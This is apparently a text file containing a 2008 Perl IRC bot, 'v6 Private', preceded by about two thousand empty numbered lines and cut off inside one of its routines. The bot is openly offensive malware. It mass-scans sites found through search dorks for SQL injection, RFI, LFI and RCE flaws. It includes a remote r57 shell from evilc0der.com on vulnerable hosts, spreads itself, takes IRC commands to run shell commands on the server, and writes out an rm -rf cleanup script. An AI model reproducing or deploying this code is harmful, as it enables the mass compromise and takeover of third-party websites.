./c0de/perl/v6ircscan.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
266.
267.
268.
269.
270.
271.
272.
273.
274.
275.
276.
277.
278.
279.
280.
281.
282.
283.
284.
285.
286.
287.
288.
289.
290.
291.
292.
293.
294.
295.
296.
297.
298.
299.
300.
301.
302.
303.
304.
305.
306.
307.
308.
309.
310.
311.
312.
313.
314.
315.
316.
317.
318.
319.
320.
321.
322.
323.
324.
325.
326.
327.
328.
329.
330.
331.
332.
333.
334.
335.
336.
337.
338.
339.
340.
341.
342.
343.
344.
345.
346.
347.
348.
349.
350.
351.
352.
353.
354.
355.
356.
357.
358.
359.
360.
361.
362.
363.
364.
365.
366.
367.
368.
369.
370.
371.
372.
373.
374.
375.
376.
377.
378.
379.
380.
381.
382.
383.
384.
385.
386.
387.
388.
389.
390.
391.
392.
393.
394.
395.
396.
397.
398.
399.
400.
401.
402.
403.
404.
405.
406.
407.
408.
409.
410.
411.
412.
413.
414.
415.
416.
417.
418.
419.
420.
421.
422.
423.
424.
425.
426.
427.
428.
429.
430.
431.
432.
433.
434.
435.
436.
437.
438.
439.
440.
441.
442.
443.
444.
445.
446.
447.
448.
449.
450.
451.
452.
453.
454.
455.
456.
457.
458.
459.
460.
461.
462.
463.
464.
465.
466.
467.
468.
469.
470.
471.
472.
473.
474.
475.
476.
477.
478.
479.
480.
481.
482.
483.
484.
485.
486.
487.
488.
489.
490.
491.
492.
493.
494.
495.
496.
497.
498.
499.
500.
501.
502.
503.
504.
505.
506.
507.
508.
509.
510.
511.
512.
513.
514.
515.
516.
517.
518.
519.
520.
521.
522.
523.
524.
525.
526.
527.
528.
529.
530.
531.
532.
533.
534.
535.
536.
537.
538.
539.
540.
541.
542.
543.
544.
545.
546.
547.
548.
549.
550.
551.
552.
553.
554.
555.
556.
557.
558.
559.
560.
561.
562.
563.
564.
565.
566.
567.
568.
569.
570.
571.
572.
573.
574.
575.
576.
577.
578.
579.
580.
581.
582.
583.
584.
585.
586.
587.
588.
589.
590.
591.
592.
593.
594.
595.
596.
597.
598.
599.
600.
601.
602.
603.
604.
605.
606.
607.
608.
609.
610.
611.
612.
613.
614.
615.
616.
617.
618.
619.
620.
621.
622.
623.
624.
625.
626.
627.
628.
629.
630.
631.
632.
633.
634.
635.
636.
637.
638.
639.
640.
641.
642.
643.
644.
645.
646.
647.
648.
649.
650.
651.
652.
653.
654.
655.
656.
657.
658.
659.
660.
661.
662.
663.
664.
665.
666.
667.
668.
669.
670.
671.
672.
673.
674.
675.
676.
677.
678.
679.
680.
681.
682.
683.
684.
685.
686.
687.
688.
689.
690.
691.
692.
693.
694.
695.
696.
697.
698.
699.
700.
701.
702.
703.
704.
705.
706.
707.
708.
709.
710.
711.
712.
713.
714.
715.
716.
717.
718.
719.
720.
721.
722.
723.
724.
725.
726.
727.
728.
729.
730.
731.
732.
733.
734.
735.
736.
737.
738.
739.
740.
741.
742.
743.
744.
745.
746.
747.
748.
749.
750.
751.
752.
753.
754.
755.
756.
757.
758.
759.
760.
761.
762.
763.
764.
765.
766.
767.
768.
769.
770.
771.
772.
773.
774.
775.
776.
777.
778.
779.
780.
781.
782.
783.
784.
785.
786.
787.
788.
789.
790.
791.
792.
793.
794.
795.
796.
797.
798.
799.
800.
801.
802.
803.
804.
805.
806.
807.
808.
809.
810.
811.
812.
813.
814.
815.
816.
817.
818.
819.
820.
821.
822.
823.
824.
825.
826.
827.
828.
829.
830.
831.
832.
833.
834.
835.
836.
837.
838.
839.
840.
841.
842.
843.
844.
845.
846.
847.
848.
849.
850.
851.
852.
853.
854.
855.
856.
857.
858.
859.
860.
861.
862.
863.
864.
865.
866.
867.
868.
869.
870.
871.
872.
873.
874.
875.
876.
877.
878.
879.
880.
881.
882.
883.
884.
885.
886.
887.
888.
889.
890.
891.
892.
893.
894.
895.
896.
897.
898.
899.
900.
901.
902.
903.
904.
905.
906.
907.
908.
909.
910.
911.
912.
913.
914.
915.
916.
917.
918.
919.
920.
921.
922.
923.
924.
925.
926.
927.
928.
929.
930.
931.
932.
933.
934.
935.
936.
937.
938.
939.
940.
941.
942.
943.
944.
945.
946.
947.
948.
949.
950.
951.
952.
953.
954.
955.
956.
957.
958.
959.
960.
961.
962.
963.
964.
965.
966.
967.
968.
969.
970.
971.
972.
973.
974.
975.
976.
977.
978.
979.
980.
981.
982.
983.
984.
985.
986.
987.
988.
989.
990.
991.
992.
993.
994.
995.
996.
997.
998.
999.
1000.
1001.
1002.
1003.
1004.
1005.
1006.
1007.
1008.
1009.
1010.
1011.
1012.
1013.
1014.
1015.
1016.
1017.
1018.
1019.
1020.
1021.
1022.
1023.
1024.
1025.
1026.
1027.
1028.
1029.
1030.
1031.
1032.
1033.
1034.
1035.
1036.
1037.
1038.
1039.
1040.
1041.
1042.
1043.
1044.
1045.
1046.
1047.
1048.
1049.
1050.
1051.
1052.
1053.
1054.
1055.
1056.
1057.
1058.
1059.
1060.
1061.
1062.
1063.
1064.
1065.
1066.
1067.
1068.
1069.
1070.
1071.
1072.
1073.
1074.
1075.
1076.
1077.
1078.
1079.
1080.
1081.
1082.
1083.
1084.
1085.
1086.
1087.
1088.
1089.
1090.
1091.
1092.
1093.
1094.
1095.
1096.
1097.
1098.
1099.
1100.
1101.
1102.
1103.
1104.
1105.
1106.
1107.
1108.
1109.
1110.
1111.
1112.
1113.
1114.
1115.
1116.
1117.
1118.
1119.
1120.
1121.
1122.
1123.
1124.
1125.
1126.
1127.
1128.
1129.
1130.
1131.
1132.
1133.
1134.
1135.
1136.
1137.
1138.
1139.
1140.
1141.
1142.
1143.
1144.
1145.
1146.
1147.
1148.
1149.
1150.
1151.
1152.
1153.
1154.
1155.
1156.
1157.
1158.
1159.
1160.
1161.
1162.
1163.
1164.
1165.
1166.
1167.
1168.
1169.
1170.
1171.
1172.
1173.
1174.
1175.
1176.
1177.
1178.
1179.
1180.
1181.
1182.
1183.
1184.
1185.
1186.
1187.
1188.
1189.
1190.
1191.
1192.
1193.
1194.
1195.
1196.
1197.
1198.
1199.
1200.
1201.
1202.
1203.
1204.
1205.
1206.
1207.
1208.
1209.
1210.
1211.
1212.
1213.
1214.
1215.
1216.
1217.
1218.
1219.
1220.
1221.
1222.
1223.
1224.
1225.
1226.
1227.
1228.
1229.
1230.
1231.
1232.
1233.
1234.
1235.
1236.
1237.
1238.
1239.
1240.
1241.
1242.
1243.
1244.
1245.
1246.
1247.
1248.
1249.
1250.
1251.
1252.
1253.
1254.
1255.
1256.
1257.
1258.
1259.
1260.
1261.
1262.
1263.
1264.
1265.
1266.
1267.
1268.
1269.
1270.
1271.
1272.
1273.
1274.
1275.
1276.
1277.
1278.
1279.
1280.
1281.
1282.
1283.
1284.
1285.
1286.
1287.
1288.
1289.
1290.
1291.
1292.
1293.
1294.
1295.
1296.
1297.
1298.
1299.
1300.
1301.
1302.
1303.
1304.
1305.
1306.
1307.
1308.
1309.
1310.
1311.
1312.
1313.
1314.
1315.
1316.
1317.
1318.
1319.
1320.
1321.
1322.
1323.
1324.
1325.
1326.
1327.
1328.
1329.
1330.
1331.
1332.
1333.
1334.
1335.
1336.
1337.
1338.
1339.
1340.
1341.
1342.
1343.
1344.
1345.
1346.
1347.
1348.
1349.
1350.
1351.
1352.
1353.
1354.
1355.
1356.
1357.
1358.
1359.
1360.
1361.
1362.
1363.
1364.
1365.
1366.
1367.
1368.
1369.
1370.
1371.
1372.
1373.
1374.
1375.
1376.
1377.
1378.
1379.
1380.
1381.
1382.
1383.
1384.
1385.
1386.
1387.
1388.
1389.
1390.
1391.
1392.
1393.
1394.
1395.
1396.
1397.
1398.
1399.
1400.
1401.
1402.
1403.
1404.
1405.
1406.
1407.
1408.
1409.
1410.
1411.
1412.
1413.
1414.
1415.
1416.
1417.
1418.
1419.
1420.
1421.
1422.
1423.
1424.
1425.
1426.
1427.
1428.
1429.
1430.
1431.
1432.
1433.
1434.
1435.
1436.
1437.
1438.
1439.
1440.
1441.
1442.
1443.
1444.
1445.
1446.
1447.
1448.
1449.
1450.
1451.
1452.
1453.
1454.
1455.
1456.
1457.
1458.
1459.
1460.
1461.
1462.
1463.
1464.
1465.
1466.
1467.
1468.
1469.
1470.
1471.
1472.
1473.
1474.
1475.
1476.
1477.
1478.
1479.
1480.
1481.
1482.
1483.
1484.
1485.
1486.
1487.
1488.
1489.
1490.
1491.
1492.
1493.
1494.
1495.
1496.
1497.
1498.
1499.
1500.
1501.
1502.
1503.
1504.
1505.
1506.
1507.
1508.
1509.
1510.
1511.
1512.
1513.
1514.
1515.
1516.
1517.
1518.
1519.
1520.
1521.
1522.
1523.
1524.
1525.
1526.
1527.
1528.
1529.
1530.
1531.
1532.
1533.
1534.
1535.
1536.
1537.
1538.
1539.
1540.
1541.
1542.
1543.
1544.
1545.
1546.
1547.
1548.
1549.
1550.
1551.
1552.
1553.
1554.
1555.
1556.
1557.
1558.
1559.
1560.
1561.
1562.
1563.
1564.
1565.
1566.
1567.
1568.
1569.
1570.
1571.
1572.
1573.
1574.
1575.
1576.
1577.
1578.
1579.
1580.
1581.
1582.
1583.
1584.
1585.
1586.
1587.
1588.
1589.
1590.
1591.
1592.
1593.
1594.
1595.
1596.
1597.
1598.
1599.
1600.
1601.
1602.
1603.
1604.
1605.
1606.
1607.
1608.
1609.
1610.
1611.
1612.
1613.
1614.
1615.
1616.
1617.
1618.
1619.
1620.
1621.
1622.
1623.
1624.
1625.
1626.
1627.
1628.
1629.
1630.
1631.
1632.
1633.
1634.
1635.
1636.
1637.
1638.
1639.
1640.
1641.
1642.
1643.
1644.
1645.
1646.
1647.
1648.
1649.
1650.
1651.
1652.
1653.
1654.
1655.
1656.
1657.
1658.
1659.
1660.
1661.
1662.
1663.
1664.
1665.
1666.
1667.
1668.
1669.
1670.
1671.
1672.
1673.
1674.
1675.
1676.
1677.
1678.
1679.
1680.
1681.
1682.
1683.
1684.
1685.
1686.
1687.
1688.
1689.
1690.
1691.
1692.
1693.
1694.
1695.
1696.
1697.
1698.
1699.
1700.
1701.
1702.
1703.
1704.
1705.
1706.
1707.
1708.
1709.
1710.
1711.
1712.
1713.
1714.
1715.
1716.
1717.
1718.
1719.
1720.
1721.
1722.
1723.
1724.
1725.
1726.
1727.
1728.
1729.
1730.
1731.
1732.
1733.
1734.
1735.
1736.
1737.
1738.
1739.
1740.
1741.
1742.
1743.
1744.
1745.
1746.
1747.
1748.
1749.
1750.
1751.
1752.
1753.
1754.
1755.
1756.
1757.
1758.
1759.
1760.
1761.
1762.
1763.
1764.
1765.
1766.
1767.
1768.
1769.
1770.
1771.
1772.
1773.
1774.
1775.
1776.
1777.
1778.
1779.
1780.
1781.
1782.
1783.
1784.
1785.
1786.
1787.
1788.
1789.
1790.
1791.
1792.
1793.
1794.
1795.
1796.
1797.
1798.
1799.
1800.
1801.
1802.
1803.
1804.
1805.
1806.
1807.
1808.
1809.
1810.
1811.
1812.
1813.
1814.
1815.
1816.
1817.
1818.
1819.
1820.
1821.
1822.
1823.
1824.
1825.
1826.
1827.
1828.
1829.
1830.
1831.
1832.
1833.
1834.
1835.
1836.
1837.
1838.
1839.
1840.
1841.
1842.
1843.
1844.
1845.
1846.
1847.
1848.
1849.
1850.
1851.
1852.
1853.
1854.
1855.
1856.
1857.
1858.
1859.
1860.
1861.
1862.
1863.
1864.
1865.
1866.
1867.
1868.
1869.
1870.
1871.
1872.
1873.
1874.
1875.
1876.
1877.
1878.
1879.
1880.
1881.
1882.
1883.
1884.
1885.
1886.
1887.
1888.
1889.
1890.
1891.
1892.
1893.
1894.
1895.
1896.
1897.
1898.
1899.
1900.
1901.
1902.
1903.
1904.
1905.
1906.
1907.
1908.
1909.
1910.
1911.
1912.
1913.
1914.
1915.
1916.
1917.
1918.
1919.
1920.
1921.
1922.
1923.
1924.
1925.
1926.
1927.
1928.
1929.
1930.
1931.
1932.
1933.
1934.
1935.
1936.
1937.
1938.
1939.
1940.
1941.
1942.
1943.
1944.
1945.
1946.
1947.
1948.
1949.
1950.
1951.
1952.
1953.
1954.
1955.
1956.
1957.
1958.
1959.
1960.
1961.
1962.
1963.
1964.
1965.
1966.
1967.
1968.
1969.
1970.
1971.
1972.
1973.
1974.
1975.
1976.
1977.
1978.
1979.
1980.
1981.
1982.
1983.
1984.
1985.
1986.
1987.
1988.
1989.
1990.
1991.
1992.
1993.
1994.
1995.
1996.
1997.
1998.
1999.
2000.
2001.
2002.
2003.
2004.
2005.
2006.
2007.
2008.
2009.
2010.
2011.
2012.
2013.
2014.
2015.
2016.
2017.
2018.
2019.
2020.
2021.
2022.
2023.
2024.
2025.
2026.
2027.
2028.
2029.
2030.
2031.
2032.
2033.
2034.
2035.
2036.
2037.
2038.
2039.
2040.
2041.
2042.
2043.
2044.
2045.
2046.
2047.
2048.
2049.
#!/usr/bin/perl
 
  #####################################################################################
  ##                                                                                 ##
  ##                                                                   15/06/2008    ##
  ##  Author  : Osirys                                                               ##
  ##  WebSite :                                                                      ##
  ##  Contact : osirys[at]live[dot]it                                                ##
  ##  Italian Coder                                                                  ##
  ##                                                                                 ##
  ##  ## IMPORTANT ##                                                                ##
  ##   # ONLY FOR EDUCATIONAL PURPOSE. THE AUTHOR IS NOT RESPONSABLE OF ANY          ##
  ##   # IMPROPERLY USE OF THIS TOOL. USE IT AT YOUR OWN RISK !!                     ##
  ##  ##                                                                             ##
  ##                                                                                 ##
  ##  Release: v6 Private                                                            ##
  ##      After the success of the v5, I decided to code a new release :-)           ##
  ##      This is a private script. If you have it, keep it priv8 !!!                ##
  ##                                                                                 ##
  ##  Features:                                                                      ##
  ##    [+]Sql Injection Scanner (Fixed a bug which release v5 was affected)         ##
  ##    [+]Remote File Inclusion Scanner                                             ##
  ##    [+]Local File Inclusion Scanner                                              ##
  ##    [+]Remote Code Execution Scanner                                             ##
  ##    [+]Mass Scan, Google,AlltheWeb,Yahoo, Msn domains:                           ##
  ##      .at/.com.au/.com.br/.ca/.ch/.cn/.de/.dk/.es/.fr/.it/.co.jp/.com.mx/.co.uk  ##
  ##    [+]Integrated Shell, so you can execute commands on the server               ##
  ##    [+]Security Mode to protect "dangerous" functions                            ##
  ##    [+]Spread Mode, to activate or disable Spread Function                       ##
  ##    [+]Single Spread Mode, to spread on RFI vulnerable sites                     ##
  ##    [+]Bypass Engines ON: Google, Yahoo                                          ##
  ##    !: To "bypass" these engines, the Scanner just looks for websites on other   ##
  ##    engines that use the same bots than the main ones                            ##
  ##                                                                                 ##
  #####################################################################################
 
 
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
 
#######################################################
## CONFIGURATION                                     //
#######################################################
 
$auth = "Osirys";
$authmail = "osirys\@live.it";
my $id    = "http://ciro1992.org/ciao/id.txt??";               #Your RFI Response
my $shell = "http://evilc0der.com/r57.txt?";                                  #Shell printed on the Vulnerable Site
my $ircd  = "irc.oltreirc.net";                                                  #Irc-Server
my $port  = "6667";                                                           #Irc-Server Port
my $chan1 = "#osirys";                                                          #Chan for Scan
my $chan2 = "#Vuln";                                                          #Results will be printed here too
my $nick  = "v6";                                                      #Nick
my @admins = ("Osirys");
my $sqlpidpr0c = 1; # This is the number of sites that the bot will test in the same time. For an accurated scann, it's reccomended to set a low number(1) 
# (Expecially if you are scanning on 0day bugs), so a lot of presunted vulnerable sites. Unless you will see the bot exiting by an excess flood!
# Instead, if you are scaning on old bugs, so not many results, you can put a higher number, so more speed.
my $rfipidpr0c = 50;
 
### USEFULL OPTIONS ( 0 => OFF  ;  1 => ON )
 
my $spread = "";
 
my $spreadACT   = 0; #0 ->disabled, 1 ->enabled
my $securityACT = 0; #0 ->disabled, 1 ->enabled
&cheek();
my $killpwd   = "lol"; #Password to Kill the Bot
my $chidpwd   = "lol"; #Password to change the RFI Response
my $cmdpwd    = "lol"; #Password to execute commands on the server
my $secpwd    = "lol"; #Passowrd to enable/disable the Security Mode
my $spreadpwd = "lol"; #Passowrd to enable/disable the Spread Mode
 
my $badspreadpwd != $spreadpwd;
my $badkillpwd   != $killpwd;
my $badidpwd     != $chidpwd;
my $badcmdpwd    != $cmdpwd;
my $badsecpwd    != $secpwd;
 
#######################################################
## END OF CONFIGURATION                              //
#######################################################
 
$k= 0;
print q{
------------------------------------------------
         __   ___
   __ __/ /  / __| __ __ _ _ _  _ _  ___ _ _
   \ V / _ \ \__ \/ _/ _` | ' \| ' \/ -_) '_|
    \_/\___/ |___/\__\__,_|_||_|_||_\___|_|
 
------------------------------------------------
[+] Coded by Osirys
[+] Contact: osirys[at]live[it]
[+] Keep it private !
[+] *New release, more fun ;)
[+] *Updated to: 18/06/2008
 
};
 
open($f1le, ">", "rm.txt");
print $f1le "\#!/usr/bin/perl\n";
print $f1le "exec(\"rm -rf \*siti\* && rm rm.txt\")\;\n";
close $f1le;
 
@help = (
"15,1[!] 9,1!response 15,1 > 11,1Test if the RFI Response is working",
"15,1[*] 9,1!chid <new rfi-id> 15,1 > 11,1Change the RFI-Response",
"15,1[*] 9,1!killme 15,1 > 11,1KILL The Bot",
"15,1[!] 9,1!milw0rm rss 15,1 > 11,1Get the last Milw0rm bugs",
"15,1[!] 9,1!new rfi bugs 15,1 > 11,1Get the last 10 RFI bugs",
"15,1[!] 9,1!new lfi bugs 15,1 > 11,1Get the last 10 LFI bugs",
"15,1[!] 9,1!new sql bugs 15,1 > 11,1Get the last 10 SQL Injection bugs",
"15,1[!] 9,1!new rce bugs 15,1 > 11,1Get the last 10 RCE bugs",
"15,1[!] 9,1!rfi <bug> <dork> -p <sites/proc> 15,1 > 11,1Start the RFI Scanner",
"15,1[!] 9,1!lfi <bug> <dork> 15,1 > 11,1Start the LFI Scanner",
"15,1[!] 9,1!sql <bug> <dork> -p <sites/proc> 15,1 > 11,1Start the SQL Injection Scanner",
"15,1[!] 9,1!rce <bug> <dork> -p <sites/proc> 15,1 > 11,1Start the RCE Scanner",
"15,1[!] 9,1!mass[rfi/lfi/sql/rce] <bug> <dork> -p <sites/proc> 15,1 > 11,1Start the Mass Scan",
"15,1[*] 9,1!cmd <bashline> 15,1 > 11,1Gives command on the Bot's shell. Ex: (!cmd id) (!cmd uname -a)",
"15,1[*] 9,1!sspread -s <RFI_Vuln_site> 15,1 > 11,1To spread on a vulnerable host. Ex: (!spread -s www.h.com/a.php?bug=)",
"15,1[*] 9,1!admin add/remove <nickname> 15,1 > 11,1To add/remove a nickname to/from the admin list",
"15,1[*] 9,1/msg $nick !Sec ON/OFF -p <pwd> 15,1 > 11,1To enable or disable Security Mode",
"15,1[*] 9,1/msg $nick !Spread ON/OFF -p <pwd> 15,1 > 11,1To enable or disable Spread Mode",
"15,1[!] 9,1!info 15,1 > 11,1Get infos about the Bot",
"4,1[!!] For commands with the15,1 [*]4,1 you must be an Admin of the v6"
);
 
my $sys = `uname -a`;
my $up = `uptime`;
 
if ($spreadACT == 0) {
    $t5 = "OFF";
}
elsif ($spreadACT == 1) {
    $t5 = "ON";
}
 
if ($securityACT == 0) {
    $y5 = "OFF";
}
elsif ($securityACT == 1) {
    $y5 = "ON";
}
 
if (fork() == 0) {
    &irc($ircd, $port, $chan1, $chan2, $nick);
}
else {
    exit(0);
}
 
sub irc() {
    my ($ircd, $port, $chan1, $chan2, $nick) = @_;
    $c0n = IO::Socket::INET->new(PeerAddr => "$ircd",PeerPort => "$port",Proto => "tcp") || die "Can not connect on server!\n";
    $c0n->autoflush(1);
    print $c0n "NICK $nick\n";
    print $c0n "USER soldier 8 *  : Osirys\n";
    print $c0n "JOIN $chan1\n";
    writ1("4,1_/9,1 V6-Private 11,1ON 7,1_>");
    writ1("4,1� Coded by Osirys");
    while ($line = <$c0n>) {
 
        $k++;
        my @word = split /\:/, $line;
        my @words = split /\!/, $word[1];
        my $sys = `uname -a`;
        my $up = `uptime`;
        @info = (
         "9,1[i] 15,1Release : 11,1v6 -Private IrcBot",
         "9,1[i] 15,1Author  : 11,1$auth - Italian coder",
         "9,1[i] 15,1Contact : 11,1$authmail",
         "9,1[i] 15,1Uname -a: 11,1$sys",
         "9,1[i] 15,1Uptime  : 11,1$up",
         "9,1[i] 15,1Spread Mode: 11,1$t5",
         "9,1[i] 15,1Security Mode: 11,1$y5"
        );
 
        if ($spreadACT == 0) {
            $t5 = "OFF";
        }
        elsif ($spreadACT == 1) {
            $t5 = "ON";
        }
 
        if ($securityACT == 0) {
            $y5 = "OFF";
        }
        elsif ($securityACT == 1) {
            $y5 = "ON";
        }
 
 
        if ($line =~ /^PING \:(.*)/) {
            print $c0n "PONG :$1";
        }
        if ($line =~ /001/) {
            print $c0n "JOIN $chan1\n";
        }
        if ($line =~ /PRIVMSG $chan1 :!help/) {
            &help();
        }
        if ($line =~ /PRIVMSG $chan1 :!info/){
            &info();
        }
        if ($line =~ /PRIVMSG $chan1 :!response/) {
            &response();
        }
        if ($line =~ /PRIVMSG $chan1 :!milw0rm rss/) {
            &milw0rm();
        }
        if ($line =~ /PRIVMSG $chan1 :!new ([a-z]{3}) bug/) {
            &bug_update($1);
        }
        if (($line =~ /PRIVMSG $chan1 :!chid\s+(.*)/)&&($securityACT == 0)) {
            &chid($words[0],$1);
        }
        if (($line =~ /PRIVMSG $nick :!chid\s+(.*) -p $chidpwd/)&&($securityACT == 1)) {
            &chid($words[0],$1,"a");
        }
        elsif (($line =~ /PRIVMSG $nick :!chid\s+(.*) -p $badidpwd/)&&($securityACT == 1)) {
            pm($words[0],"15,1[-] 9,1Error Changing the RFI-Response (bad Password)!");
        }
        if (($line =~ /PRIVMSG $chan1 :!killme/)&&($securityACT == 0)) {
            &killme($words[0]);
        }
        if (($line =~ /PRIVMSG $nick :!killme -p $killpwd/)&&($securityACT == 1)) {
            &killme($words[0],"a");
        }
        elsif (($line =~ /PRIVMSG $nick :!killme -p $badkillpwd/)&&($securityACT == 1)) {
            pm($words[0],"15,1[-] 12,4Error Killing the Bot (Null or bad Password) !");
        }
        if (($line =~ /PRIVMSG $chan1 :!admin (add|remove)\s+(.*)/)&&($securityACT == 0)) {
            &ch_admin($1,$words[0],$2);
        }
        if (($line =~ /PRIVMSG $nick :!admin (add|remove)\s+(.*) -p $chadminpwd/)&&($securityACT == 1)) {
            &ch_admin($1,$words[0],$2,"a");
        }
        elsif (($line =~ /PRIVMSG $nick :!admin (add|remove)\s+(.*) -p $badchadminpwd/)&&($securityACT == 1)) {
            pm($words[0],"15,1[-] 12,4Error changing the Admin list (Null or bad Password) !");
        }
        if (($line =~ /PRIVMSG $chan1 :!cmd\s+(.*)/)&&($securityACT == 0)) {
            &cmd($words[0],$1);
        }
        if (($line =~ /PRIVMSG $nick :!cmd\s+(.*) -p $cmdpwd/)&&($securityACT == 1)) {
            &cmd($words[0],$1,"a");
        }
        elsif (($line =~ /PRIVMSG $nick :!cmd\s+(.*) -p $badcmdpwd/)&&($securityACT == 1)) {
            pm($words[0],"15,1[-] 12,4Error using the shell (Null or bad Password) !");
        }
        if ($line =~ /PRIVMSG $nick :!Sec\s+(.*) -p $secpwd/) {
            &sec($words[0],$1);
        }
        elsif ($line =~ /PRIVMSG $nick :!Sec\s+(.*) -p $badsecpwd/) {
            pm($words[0],"15,1[-] 12,4Error changing the Security Mode (Null or bad Password) !");
        }
        if (($line =~ /PRIVMSG $chan1 :!Spread\s+(.*)/)&&($securityACT == 0)) {
            &spread($words[0],$1);
        }
        if (($line =~ /PRIVMSG $nick :!Spread\s+(.*) -p $spreadpwd/)&&($securityACT == 1)) {
            &spread($words[0],$1,"a");
        }
        elsif (($line =~ /PRIVMSG $nick :!Spread\s+(.*) -p $badspreadpwd/)&&($securityACT == 1)) {
            pm($words[0],"15,1[-] 12,4Error changing the Spread Mode (Null or bad Password) !");
        }
        if ($line =~ /PRIVMSG $chan1 :!sspread -s\s+(.*)/) {
            &sspread($words[0],$1);
        }
        if (($line =~ /PRIVMSG $chan1 :!rfi\s+(.*?)\s+(.*)\s+-p(.+[0-9])/)&&($securityACT == 1)&&(fork() == 0)) {
            &rfi_cheek($1,$2,$3,"s",$words[0]);
        }
        if (($line =~ /PRIVMSG $chan1 :!rfi\s+(.*?)\s+(.*)\s+-p(.+[0-9])/)&&($securityACT == 0)&&(fork() == 0)) {
            &rfi_cheek($1,$2,$3,"j");
        }
        if (($line =~ /PRIVMSG $chan1 :!lfi\s+(.*?)\s+(.*)/)&&($securityACT == 1)&&(fork() == 0)) {
            &lfi_cheek($1,$2,$3,"s",$words[0]);
        }
        if (($line =~ /PRIVMSG $chan1 :!lfi\s+(.*?)\s+(.*)/)&&($securityACT == 0)&&(fork() == 0)) {
            &lfi_cheek($1,$2,"j");
        }
        if (($line =~ /PRIVMSG $chan1 :!sql\s+(.*?)\s+(.*)\s+-p(.+[0-9])/)&&($securityACT == 1)&&(fork() == 0)) {
            &sql_cheek($1,$2,$3,"s",$words[0]);
        }
        if (($line =~ /PRIVMSG $chan1 :!sql\s+(.*?)\s+(.*)\s+-p(.+[0-9])/)&&($securityACT == 0)&&(fork() == 0)) {
            &sql_cheek($1,$2,$3,"j");
        }
        if (($line =~ /PRIVMSG $chan1 :!rce\s+(.*?)\s+(.*)\s+-p(.+[0-9])/)&&($securityACT == 1)&&(fork() == 0)) {
            &rce_cheek($1,$2,$3,"s",$words[0]);
        }
        if (($line =~ /PRIVMSG $chan1 :!rce\s+(.*?)\s+(.*)\s+-p(.+[0-9])/)&&($securityACT == 0)&&(fork() == 0)) {
            &rce_cheek($1,$2,$3,"j");
        }
        if (($line =~ /PRIVMSG $chan1 :!mass\[(rfi|lfi|sql|rce)\]\s+(.*?)\s+(.*)\s+-p(.+[0-9])/)&&($securityACT == 1)&&(fork() == 0)) {
            &mass_cheek($1,$2,$3,$4,"s",$words[0]);
        }
        if (($line =~ /PRIVMSG $chan1 :!mass\[(rfi|lfi|sql|rce)\]\s+(.*?)\s+(.*)\s+-p(.+[0-9])/)&&($securityACT == 0)&&(fork() == 0)) {
            &mass_cheek($1,$2,$3,$4,"j");
        }
    }
}
 
sub help() {
    if ($securityACT == 0) {
        @help;
        foreach my $e(@help){
            writ1("$e");
        }
    }
    elsif ($securityACT == 1) {
        @help;
        $help[1]  = "15,1[*] 9,1/msg $nick !chid <new rfi-id> -p <pwd> 15,1 > 11,1Change the RFI-Response";
        $help[2]  = "15,1[*] 9,1/msg $nick !killme 15,1 > -p <pwd> 11,1KILL The Bot";
        $help[8]  = "15,1[*] 9,1!rfi <bug> <dork> -p <sites/proc> 15,1 > 11,1Start the RFI Scanner";
        $help[9]  = "15,1[*] 9,1!lfi <bug> <dork> 15,1 > 11,1Start the LFI Scanner";
        $help[10] = "15,1[*] 9,1!sql <bug> <dork> -p <sites/proc> 15,1 > 11,1Start the SQL Injection Scanner";
        $help[11] = "15,1[*] 9,1!rce <bug> <dork> -p <sites/proc> 15,1 > 11,1Start the RCE Scanner";
        $help[12] = "15,1[*] 9,1!mass[rfi/lfi/sql/rce] <bug> <dork> -p <sites/proc> 15,1 > 11,1Start the Mass Scan";
        $help[13] = "15,1[*] 9,1/msg $nick !cmd <bashline> -p <pwd> 15,1 > 11,1Gives command on the Bot's shell. Ex: (!cmd id) (!cmd uname -a)";
        $help[14] = "15,1[*] 9,1/msg $nick !spread -s <RFI_Vuln_site> -p <pwd> 15,1 > 11,1To spread on a vulnerable host. Ex: (!spread -s www.h.com/a.php?bug=)";
        $help[15] = "15,1[*] 9,1/msg $nick !admin add/remove <nickname> -p <pwd> 15,1 > 11,1To add/remove a nickname to/from the admin list";
        $help[16] = "15,1[*] 9,1/msg $nick !Sec ON/OFF -p <pwd> 15,1 > 11,1To enable or disable Security Mode";
        $help[17] = "15,1[*] 9,1/msg $nick !Spread ON/OFF -p <pwd> 15,1 > 11,1To enable or disable Spread Mode";
        $#help = 18;
        writ1("4,1[!] Security Mode is ON. To use *commands you have to be an admin of the v6");
        foreach my $e(@help){
            writ1("$e");
        }
    }
}
 
sub info() {
    @info;
    foreach my $n(@info) {
        writ1("$n");
    }
}
 
sub response() {
    my $re = query($id);
    if ($re =~ /Osirys/) {
        writ1("15,1[+] 12,9RFI Response is working !");
    }
    else {
        writ1("15,1[-] 12,4RFI Response is NOT working !");
    }
}
 
sub milw0rm() {
    my $mlink = ("http://www.milw0rm.com/rss.php");
    my $re = query($mlink);
